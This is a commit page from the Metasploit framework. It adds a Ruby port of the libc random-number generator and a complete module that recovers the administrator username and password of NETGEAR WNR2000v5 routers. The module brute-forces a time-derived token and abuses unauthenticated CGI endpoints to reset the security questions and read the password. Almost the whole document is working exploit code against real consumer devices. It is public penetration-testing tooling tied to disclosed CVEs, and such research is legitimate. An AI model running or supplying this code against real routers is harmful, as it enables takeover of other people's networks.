Skip to content

Commit e04f01e

Browse files
committed
Land rapid7#7778, RCE on Netgear WNR2000v5
2 parents 8976faa + f18b533 commit e04f01e

File tree

4 files changed

+645
-0
lines changed

4 files changed

+645
-0
lines changed

lib/msf/core/auxiliary/crand.rb

Lines changed: 113 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
module Msf
2+
3+
###
4+
#
5+
# This module provides a complete port of the libc rand() and srand() functions.
6+
# It is used by the NETGEAR WNR2000v5 auxiliary and exploit modules, but might
7+
# be useful for any other module that needs to emulate C's random number generator.
8+
#
9+
# Author: Pedro Ribeiro ([email protected]) / Agile Information Security
10+
#
11+
###
12+
module Auxiliary::CRand
13+
14+
attr_accessor :randtbl
15+
attr_accessor :unsafe_state
16+
17+
####################
18+
# ported from https://git.uclibc.org/uClibc/tree/libc/stdlib/random.c
19+
# and https://git.uclibc.org/uClibc/tree/libc/stdlib/random_r.c
20+
21+
TYPE_3 = 3
22+
BREAK_3 = 128
23+
DEG_3 = 31
24+
SEP_3 = 3
25+
26+
def initialize(info = {})
27+
super
28+
29+
@randtbl =
30+
[
31+
# we omit TYPE_3 from here, not needed
32+
-1726662223, 379960547, 1735697613, 1040273694, 1313901226,
33+
1627687941, -179304937, -2073333483, 1780058412, -1989503057,
34+
-615974602, 344556628, 939512070, -1249116260, 1507946756,
35+
-812545463, 154635395, 1388815473, -1926676823, 525320961,
36+
-1009028674, 968117788, -123449607, 1284210865, 435012392,
37+
-2017506339, -911064859, -370259173, 1132637927, 1398500161,
38+
-205601318,
39+
]
40+
41+
@unsafe_state = {
42+
"fptr" => SEP_3,
43+
"rptr" => 0,
44+
"state" => 0,
45+
"rand_type" => TYPE_3,
46+
"rand_deg" => DEG_3,
47+
"rand_sep" => SEP_3,
48+
"end_ptr" => DEG_3
49+
}
50+
end
51+
52+
# Emulate the behaviour of C's srand
53+
def srandom_r (seed)
54+
state = @randtbl
55+
if seed == 0
56+
seed = 1
57+
end
58+
state[0] = seed
59+
60+
dst = 0
61+
word = seed
62+
kc = DEG_3
63+
for i in 1..(kc-1)
64+
hi = word / 127773
65+
lo = word % 127773
66+
word = 16807 * lo - 2836 * hi
67+
if (word < 0)
68+
word += 2147483647
69+
end
70+
dst += 1
71+
state[dst] = word
72+
end
73+
74+
@unsafe_state['fptr'] = @unsafe_state['rand_sep']
75+
@unsafe_state['rptr'] = 0
76+
77+
kc *= 10
78+
kc -= 1
79+
while (kc >= 0)
80+
random_r
81+
kc -= 1
82+
end
83+
end
84+
85+
# Emulate the behaviour of C's rand
86+
def random_r
87+
buf = @unsafe_state
88+
state = buf['state']
89+
90+
fptr = buf['fptr']
91+
rptr = buf['rptr']
92+
end_ptr = buf['end_ptr']
93+
val = @randtbl[fptr] += @randtbl[rptr]
94+
95+
result = (val >> 1) & 0x7fffffff
96+
fptr += 1
97+
if (fptr >= end_ptr)
98+
fptr = state
99+
rptr += 1
100+
else
101+
rptr += 1
102+
if (rptr >= end_ptr)
103+
rptr = state
104+
end
105+
end
106+
buf['fptr'] = fptr
107+
buf['rptr'] = rptr
108+
109+
result
110+
end
111+
112+
end
113+
end

lib/msf/core/auxiliary/mixins.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
# Auxiliary mixins
55
#
66
require 'msf/core/auxiliary/auth_brute'
7+
require 'msf/core/auxiliary/crand'
78
require 'msf/core/auxiliary/dos'
89
require 'msf/core/auxiliary/drdos'
910
require 'msf/core/auxiliary/fuzzer'
Lines changed: 261 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,261 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'time'
8+
9+
class MetasploitModule < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Auxiliary::CRand
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery',
17+
'Description' => %q{
18+
The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery.
19+
This vulnerability can be exploited by an unauthenticated attacker who is able to guess
20+
the value of a certain timestamp which is in the configuration of the router.
21+
Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but
22+
it is guaranteed that it can be bruteforced.
23+
This module works very reliably and it has been tested with the WNR2000v5, firmware versions
24+
1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this
25+
has not been tested.
26+
},
27+
'Author' =>
28+
[
29+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' =>
33+
[
34+
['CVE', '2016-10175'],
35+
['CVE', '2016-10176'],
36+
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
37+
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
38+
['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
39+
],
40+
'DisclosureDate' => 'Dec 20 2016'))
41+
register_options(
42+
[
43+
Opt::RPORT(80)
44+
], self.class)
45+
register_advanced_options(
46+
[
47+
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
48+
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200])
49+
], self.class)
50+
end
51+
52+
def get_current_time
53+
res = send_request_cgi({
54+
'uri' => '/',
55+
'method' => 'GET'
56+
})
57+
if res && res['Date']
58+
date = res['Date']
59+
return Time.parse(date).strftime('%s').to_i
60+
end
61+
end
62+
63+
# Do some crazyness to force Ruby to cast to a single-precision float and
64+
# back to an integer.
65+
# This emulates the behaviour of the soft-fp library and the float cast
66+
# which is done at the end of Netgear's timestamp generator.
67+
def ieee754_round (number)
68+
[number].pack('f').unpack('f*')[0].to_i
69+
end
70+
71+
72+
# This is the actual algorithm used in the get_timestamp function in
73+
# the Netgear firmware.
74+
def get_timestamp(time)
75+
srandom_r time
76+
t0 = random_r
77+
t1 = 0x17dc65df;
78+
hi = (t0 * t1) >> 32;
79+
t2 = t0 >> 31;
80+
t3 = hi >> 23;
81+
t3 = t3 - t2;
82+
t4 = t3 * 0x55d4a80;
83+
t0 = t0 - t4;
84+
t0 = t0 + 0x989680;
85+
86+
ieee754_round(t0)
87+
end
88+
89+
def get_creds
90+
res = send_request_cgi({
91+
'uri' => '/BRS_netgear_success.html',
92+
'method' => 'GET'
93+
})
94+
if res && res.body =~ /var sn="([\w]*)";/
95+
serial = $1
96+
else
97+
fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...")
98+
end
99+
100+
# 1: send serial number
101+
send_request_cgi({
102+
'uri' => '/apply_noauth.cgi?/unauth.cgi',
103+
'method' => 'POST',
104+
'Content-Type' => 'application/x-www-form-urlencoded',
105+
'vars_post' =>
106+
{
107+
'submit_flag' => 'match_sn',
108+
'serial_num' => serial,
109+
'continue' => '+Continue+'
110+
}
111+
})
112+
113+
# 2: send answer to secret questions
114+
send_request_cgi({
115+
'uri' => '/apply_noauth.cgi?/securityquestions.cgi',
116+
'method' => 'POST',
117+
'Content-Type' => 'application/x-www-form-urlencoded',
118+
'vars_post' =>
119+
{
120+
'submit_flag' => 'security_question',
121+
'answer1' => @q1,
122+
'answer2' => @q2,
123+
'continue' => '+Continue+'
124+
}
125+
})
126+
127+
# 3: PROFIT!!!
128+
res = send_request_cgi({
129+
'uri' => '/passwordrecovered.cgi',
130+
'method' => 'GET'
131+
})
132+
133+
if res && res.body =~ /Admin Password: (.*)<\/TD>/
134+
password = $1
135+
if password.blank?
136+
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password! Perhaps security questions were already set?")
137+
end
138+
else
139+
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password")
140+
end
141+
142+
if res && res.body =~ /Admin Username: (.*)<\/TD>/
143+
username = $1
144+
else
145+
fail_with(Failure::Unknown, "#{peer} - Failed to obtain username")
146+
end
147+
148+
return [username, password]
149+
end
150+
151+
def report_cred(opts)
152+
service_data = {
153+
address: opts[:ip],
154+
port: opts[:port],
155+
service_name: 'netgear',
156+
protocol: 'tcp',
157+
workspace_id: myworkspace_id
158+
}
159+
160+
credential_data = {
161+
origin_type: :service,
162+
module_fullname: fullname,
163+
username: opts[:user],
164+
private_data: opts[:password],
165+
private_type: :password
166+
}.merge(service_data)
167+
168+
login_data = {
169+
last_attempted_at: DateTime.now,
170+
core: create_credential(credential_data),
171+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
172+
proof: opts[:proof]
173+
}.merge(service_data)
174+
175+
create_credential_login(login_data)
176+
end
177+
178+
def send_req(timestamp)
179+
begin
180+
uri_str = (timestamp == nil ? \
181+
"/apply_noauth.cgi?/PWD_password.htm" : \
182+
"/apply_noauth.cgi?/PWD_password.htm%20timestamp=#{timestamp.to_s}")
183+
res = send_request_raw({
184+
'uri' => uri_str,
185+
'method' => 'POST',
186+
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
187+
'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}"
188+
})
189+
return res
190+
rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
191+
return
192+
end
193+
end
194+
195+
def run
196+
# generate the security questions
197+
@q1 = Rex::Text.rand_text_alpha(rand(20) + 2)
198+
@q2 = Rex::Text.rand_text_alpha(rand(20) + 2)
199+
200+
# let's try without timestamp first (the timestamp only gets set if the user visited the page before)
201+
print_status("#{peer} - Trying the easy way out first")
202+
res = send_req(nil)
203+
if res && res.code == 200
204+
credentials = get_creds
205+
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
206+
return
207+
end
208+
209+
# no result? let's just go on and bruteforce the timestamp
210+
print_bad("#{peer} - Well that didn't work... let's do it the hard way.")
211+
212+
# get the current date from the router and parse it
213+
end_time = get_current_time
214+
if end_time == nil
215+
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
216+
end
217+
if end_time <= datastore['TIME_OFFSET']
218+
start_time = 0
219+
else
220+
start_time = end_time - datastore['TIME_OFFSET']
221+
end
222+
end_time += datastore['TIME_SURPLUS']
223+
224+
if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
225+
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
226+
end
227+
228+
print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
229+
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")
230+
231+
# work back from the current router time minus datastore['TIME_OFFSET']
232+
while true
233+
for time in end_time.downto(start_time)
234+
timestamp = get_timestamp(time)
235+
sleep 0.1
236+
if time % 400 == 0
237+
print_status("#{peer} - Still working, trying time #{time}")
238+
end
239+
res = send_req(timestamp)
240+
if res && res.code == 200
241+
credentials = get_creds
242+
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
243+
report_cred({ 'user' => credentials[0], 'password' => credentials[1] })
244+
return
245+
end
246+
end
247+
end_time = start_time
248+
start_time -= datastore['TIME_OFFSET']
249+
if start_time < 0
250+
if end_time <= datastore['TIME_OFFSET']
251+
fail_with(Failure::Unknown, "#{peer} - Exploit failed.")
252+
end
253+
start_time = 0
254+
end
255+
print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")
256+
257+
# let the router clear the buffers a bit...
258+
sleep 30
259+
end
260+
end
261+
end

0 commit comments

Comments
 (0)